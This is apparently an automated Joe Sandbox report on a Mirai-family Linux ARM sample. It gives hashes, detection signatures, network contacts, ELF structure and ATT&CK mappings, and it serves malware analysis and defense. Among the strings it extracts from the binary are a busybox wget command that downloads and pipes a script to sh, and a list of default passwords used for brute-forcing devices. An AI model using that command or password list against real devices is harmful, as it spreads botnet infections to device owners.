Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
armv4eb.elf

Overview

General Information

Sample name:armv4eb.elf
Analysis ID:1583932
MD5:62a2feaece37a85f3fca72d87c68f197
SHA1:39a62553e42c32637ae768b77442edab05dd874a
SHA256:bdf1f1ef01dbdd4578f6b3490dc066c8446d970902017086b6b88c1aa7f9125a
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Opens /sys/class/net/* files useful for querying network interface information
Sample deletes itself
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1583932
Start date and time:2025-01-03 21:42:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 31s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:armv4eb.elf
Detection:MAL
Classification:mal64.troj.spyw.evad.linELF@0/0@0/0
  • VT rate limit hit for: armv4eb.elf
Command:/tmp/armv4eb.elf
PID:6236
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • armv4eb.elf (PID: 6236, Parent: 6162, MD5: 6ef685c2c206c9caa9a952987789a1a5) Arguments: /tmp/armv4eb.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
armv4eb.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6236.1.00007fc14c017000.00007fc14c049000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: armv4eb.elfReversingLabs: Detection: 39%

      Networking

      barindex
      Source: /tmp/armv4eb.elf (PID: 6236)Opens: /sys/class/net/Jump to behavior
      Source: /tmp/armv4eb.elf (PID: 6236)Opens: /sys/class/net/ens160/addressJump to behavior
      Source: /tmp/armv4eb.elf (PID: 6236)Opens: /sys/class/net/ens160/flagsJump to behavior
      Source: /tmp/armv4eb.elf (PID: 6236)Opens: /sys/class/net/ens160/carrierJump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: armv4eb.elfString found in binary or memory: http://%d.%d.%d.%d/r
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://%d.%d.%d.%d/r -O-|sh
      Source: Initial sampleString containing potential weak password found: admin
      Source: Initial sampleString containing potential weak password found: password
      Source: Initial sampleString containing potential weak password found: 12345
      Source: Initial sampleString containing potential weak password found: 123456
      Source: Initial sampleString containing potential weak password found: 12345678
      Source: Initial sampleString containing potential weak password found: 54321
      Source: Initial sampleString containing potential weak password found: 654321
      Source: Initial sampleString containing potential weak password found: admin1234
      Source: Initial sampleString containing potential weak password found: default
      Source: Initial sampleString containing potential weak password found: guest
      Source: Initial sampleString containing potential weak password found: service
      Source: Initial sampleString containing potential weak password found: supervisor
      Source: Initial sampleString containing potential weak password found: support
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal64.troj.spyw.evad.linELF@0/0@0/0

      Hooking and other Techniques for Hiding and Protection

      barindex
      Source: /tmp/armv4eb.elf (PID: 6236)File: /tmp/armv4eb.elfJump to behavior
      Source: /tmp/armv4eb.elf (PID: 6236)Queries kernel information via 'uname': Jump to behavior
      Source: armv4eb.elf, 6236.1.0000561d490ff000.0000561d4924d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/armeb
      Source: armv4eb.elf, 6236.1.00007ffeb2acd000.00007ffeb2aee000.rw-.sdmpBinary or memory string: /usr/bin/qemu-armeb
      Source: armv4eb.elf, 6236.1.00007ffeb2acd000.00007ffeb2aee000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-armeb/tmp/armv4eb.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/armv4eb.elf
      Source: armv4eb.elf, 6236.1.0000561d490ff000.0000561d4924d000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/armeb

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: armv4eb.elf, type: SAMPLE
      Source: Yara matchFile source: 6236.1.00007fc14c017000.00007fc14c049000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: armv4eb.elf, type: SAMPLE
      Source: Yara matchFile source: 6236.1.00007fc14c017000.00007fc14c049000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception1
      File Deletion
      1
      Brute Force
      11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      SourceDetectionScannerLabelLink
      armv4eb.elf39%ReversingLabsLinux.Backdoor.Gafgyt
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://%d.%d.%d.%d/rarmv4eb.elffalse
        high
        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs
        IPDomainCountryFlagASNASN NameMalicious
        109.202.202.202
        unknownSwitzerland
        13030INIT7CHfalse
        91.189.91.43
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        91.189.91.42
        unknownUnited Kingdom
        41231CANONICAL-ASGBfalse
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
        • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
        91.189.91.43arm5.elfGet hashmaliciousUnknownBrowse
          x86.elfGet hashmaliciousUnknownBrowse
            arm4.elfGet hashmaliciousUnknownBrowse
              arm6.elfGet hashmaliciousUnknownBrowse
                mpsl.elfGet hashmaliciousUnknownBrowse
                  ub8ehJSePAfc9FYqZIT6.i686.elfGet hashmaliciousUnknownBrowse
                    ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                      ub8ehJSePAfc9FYqZIT6.x86.elfGet hashmaliciousUnknownBrowse
                        UDMp3dZ7nc.elfGet hashmaliciousXorDDoSBrowse
                          nova2.elfGet hashmaliciousUnknownBrowse
                            91.189.91.42arm5.elfGet hashmaliciousUnknownBrowse
                              x86.elfGet hashmaliciousUnknownBrowse
                                arm4.elfGet hashmaliciousUnknownBrowse
                                  arm6.elfGet hashmaliciousUnknownBrowse
                                    mpsl.elfGet hashmaliciousUnknownBrowse
                                      ub8ehJSePAfc9FYqZIT6.i686.elfGet hashmaliciousUnknownBrowse
                                        ub8ehJSePAfc9FYqZIT6.sh4.elfGet hashmaliciousUnknownBrowse
                                          ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                                            ub8ehJSePAfc9FYqZIT6.x86.elfGet hashmaliciousUnknownBrowse
                                              UDMp3dZ7nc.elfGet hashmaliciousXorDDoSBrowse
                                                No context
                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                CANONICAL-ASGBarc.elfGet hashmaliciousUnknownBrowse
                                                • 185.125.190.26
                                                arm5.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                x86.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                arm4.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                arm6.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                mips.elfGet hashmaliciousUnknownBrowse
                                                • 185.125.190.26
                                                mpsl.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.i686.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.sh4.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                CANONICAL-ASGBarc.elfGet hashmaliciousUnknownBrowse
                                                • 185.125.190.26
                                                arm5.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                x86.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                arm4.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                arm6.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                mips.elfGet hashmaliciousUnknownBrowse
                                                • 185.125.190.26
                                                mpsl.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.i686.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.sh4.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                                                • 91.189.91.42
                                                INIT7CHarm5.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                x86.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                arm4.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                arm6.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                mpsl.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                ub8ehJSePAfc9FYqZIT6.i686.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                ub8ehJSePAfc9FYqZIT6.sh4.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                ub8ehJSePAfc9FYqZIT6.x86_64.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                ub8ehJSePAfc9FYqZIT6.x86.elfGet hashmaliciousUnknownBrowse
                                                • 109.202.202.202
                                                UDMp3dZ7nc.elfGet hashmaliciousXorDDoSBrowse
                                                • 109.202.202.202
                                                No context
                                                No context
                                                No created / dropped files found
                                                File type:ELF 32-bit MSB executable, ARM, version 1 (ARM), statically linked, stripped
                                                Entropy (8bit):5.992218556554335
                                                TrID:
                                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                File name:armv4eb.elf
                                                File size:221'812 bytes
                                                MD5:62a2feaece37a85f3fca72d87c68f197
                                                SHA1:39a62553e42c32637ae768b77442edab05dd874a
                                                SHA256:bdf1f1ef01dbdd4578f6b3490dc066c8446d970902017086b6b88c1aa7f9125a
                                                SHA512:b10bff606bb0818e3ad0fb55bbec11fe970a483647c06fb670c7eadde1f707e43af2f35c57d111fbd46ff7437c821f535680b971f79b0d55f1ddf87ea8539a1b
                                                SSDEEP:3072:5ELnP7CG6HMklYR4mxyvS+0NKwqhZPxQC+REJTn9Y2BeUcouIPFHBZjLX0IK5:iLP565lYR4mSxQC+REZ9Y2hPFhZn3s
                                                TLSH:CD243AC7E615D822C54CCC36697BBB483F228557CDC2E300E094FA8F7B575EB26885A6
                                                File Content Preview:.ELF...a...........(...........4..`......4. ...(......................................................N.............dt.Q.................................-...L....."...0.........-@0..P\..0..S.....0..@P..0... ..R........0...0...........0... ..R........0 .S.

                                                ELF header

                                                Class:ELF32
                                                Data:2's complement, big endian
                                                Version:1 (current)
                                                Machine:ARM
                                                Version Number:0x1
                                                Type:EXEC (Executable file)
                                                OS/ABI:ARM - ABI
                                                ABI Version:0
                                                Entry Point Address:0x8190
                                                Flags:0x202
                                                ELF Header Size:52
                                                Program Header Offset:52
                                                Program Header Size:32
                                                Number of Program Headers:3
                                                Section Header Offset:221372
                                                Section Header Size:40
                                                Number of Section Headers:11
                                                Header String Table Index:10
                                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                NULL0x00x00x00x00x0000
                                                .initPROGBITS0x80940x940x180x00x6AX004
                                                .textPROGBITS0x80b00xb00x258f80x00x6AX0016
                                                .finiPROGBITS0x2d9a80x259a80x140x00x6AX004
                                                .rodataPROGBITS0x2d9bc0x259bc0xb82c0x00x2A004
                                                .eh_framePROGBITS0x411e80x311e80x40x00x3WA004
                                                .ctorsPROGBITS0x411ec0x311ec0x80x00x3WA004
                                                .dtorsPROGBITS0x411f40x311f40x80x00x3WA004
                                                .dataPROGBITS0x412000x312000x4e740x00x3WA004
                                                .bssNOBITS0x460740x360740x79840x00x3WA004
                                                .shstrtabSTRTAB0x00x360740x480x00x0001
                                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                LOAD0x00x80000x80000x311e80x311e86.25110x5R E0x8000.init .text .fini .rodata
                                                LOAD0x311e80x411e80x411e80x4e8c0xc8100.93930x6RW 0x8000.eh_frame .ctors .dtors .data .bss
                                                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                TimestampSource PortDest PortSource IPDest IP
                                                Jan 3, 2025 21:42:51.314604044 CET43928443192.168.2.2391.189.91.42
                                                Jan 3, 2025 21:42:56.945801973 CET42836443192.168.2.2391.189.91.43
                                                Jan 3, 2025 21:42:58.225586891 CET4251680192.168.2.23109.202.202.202
                                                Jan 3, 2025 21:43:13.071541071 CET43928443192.168.2.2391.189.91.42
                                                Jan 3, 2025 21:43:23.310123920 CET42836443192.168.2.2391.189.91.43
                                                Jan 3, 2025 21:43:29.453265905 CET4251680192.168.2.23109.202.202.202
                                                Jan 3, 2025 21:43:54.025831938 CET43928443192.168.2.2391.189.91.42

                                                System Behavior

                                                Start time (UTC):20:42:47
                                                Start date (UTC):03/01/2025
                                                Path:/tmp/armv4eb.elf
                                                Arguments:/tmp/armv4eb.elf
                                                File size:4965048 bytes
                                                MD5 hash:6ef685c2c206c9caa9a952987789a1a5